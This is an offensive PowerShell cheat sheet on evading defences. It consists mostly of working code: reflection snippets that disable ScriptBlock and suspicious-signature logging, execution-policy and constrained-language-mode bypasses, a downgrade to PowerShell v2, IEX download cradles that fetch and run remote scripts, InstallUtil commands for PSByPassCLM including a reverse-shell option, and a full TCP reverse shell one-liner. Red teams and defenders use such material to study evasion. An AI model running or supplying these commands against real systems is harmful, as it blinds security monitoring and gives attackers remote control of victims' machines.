Script Blog Logging

In Powershell v5 if the env has Script Blog logging enabled, obfuscated scripts are deobfuscated and logged to the event log in 4104.

ScriptBlock logging is enabled through a Group Policy setting, and PowerShell will query that Group Policy setting each time it sees a new ScriptBlock to determine if it should be logged. PowerShell caches the results of it’s Group Policies in a utility dictionary, so it can query once, remember the value, and simply return that value the next time someone asks for it.

  • All of this can be done in memory and without administrative privileges!

  • Only takes affect after the first ScriptBlock completes. The bypass itself will be logged.

  • Registry: “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

$settings = [Ref].Assembly.GetType(“System.Management.Automation.Utils”).GetField(“cachedGroupPolicySettings”,”NonPublic,Static”).GetValue($null);
$settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”] = @{}
$settings[“HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”].Add(“EnableScriptBlockLogging”, “0”)

Suspicious ScriptBlock Logging

If we execute a command which matches a suspicious signature on an environment not configured with logging, even if no script block logging has been configured.

Here we set the “signatures” variable with a new empty hashset, meaning that the “force” parameter will never be true, bypassing logging:

[Ref].Assembly.GetType(“System.Management.Automation.ScriptBlock”).GetField(“signatures”,”NonPublic,static”).SetValue($null, (New-Object ‘System.Collections.Generic.HashSet[string]’))

System-Wide Transcripts

  • A share on the network will exist where everything typed in Powershell(transcript file) will be sent to that network share.

  • Blue team will have a transcript of everything that was typed for every computer\user.

Powershell Monitoring Bypass [XDR]

  • Often only parent process is monitored for suspicious activity, eg: Installing Powershell modules, running scripts etc.

#Run in cmd.exe

#Run scripts in Powershell ISE Editor. Process may be white-listed.

PowerShell Constrained Language Mode/Exec Policy Bypass

PowerShell Constrained Language is designed to work with application whitelisting solutions in order to restrict what can be accessed in an interactive PowerShell session with policy enforcement.

  • If an environment has PSv5 an Applocker in "allow" mode, Powershell locks down to constrained language mode automatically.

  • Same will happen if DeviceGuard with UMCI is deployed.


#Get Language Mode

#Bypass Execution Policy
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
Set-ExecutionPolicy Unrestricted
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Set-ExecutionPolicy Bypass -Scope process -Force

Downgrade to Powershell v2

  • Pre-requisites in Windows Features:

    • PowerShell v2.0 has to be enabled

    • .NET Framework 2.0, 3.0 and 3.5

  • Deep Scriptblock logging does not pick up the commands after the powerShell -v 2 if the bypass is run from an existing PowerShell session.

powershell -version 2
#Execution Policy bypass
powershell -ep bypass
powershell -ExecutionPolicy -Unrestricted ./script1.ps1
powershell -encodedcommand

#No Profile: Dont load powershell profiles. Profiles are scripts launched at powershell startup.
powershell -noprofile .\script1.ps1
powershell -nop -c "iex(New..)
echo IEX(New-Object Net.WebClient).DownloadString('') | powershell.exe -noprofile -
echo IEX(New-Object Net.WebClient).DownloadString('');Get-NetDomain; | powershell.exe -noprofile -

Bypass with PSByPassCLM

  • Compile PsBypassCLM.sln

    • Load into Visual Studio

    • Right-click Solution.. - > Properties - > Change 'TargetFramework' to 3.5/4.5

    • Build - > Build solution.

    • Executable will be exported to ./bin/Debug/PSByPassCLM.exe

#Direct Bypass
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\Windows\Temp\PSByPassCLM.exe

#Reverse shell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost= /rport=9001 /U c:\Windows\Temp\PSByPassCLM.exe


  • Bypasses constrained language mode as it's an exe. [Due to compatibility reasons]

  • Bypasses PowerShell Logging by loading Powershell v2 from system.management.automation.dll


Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Last updated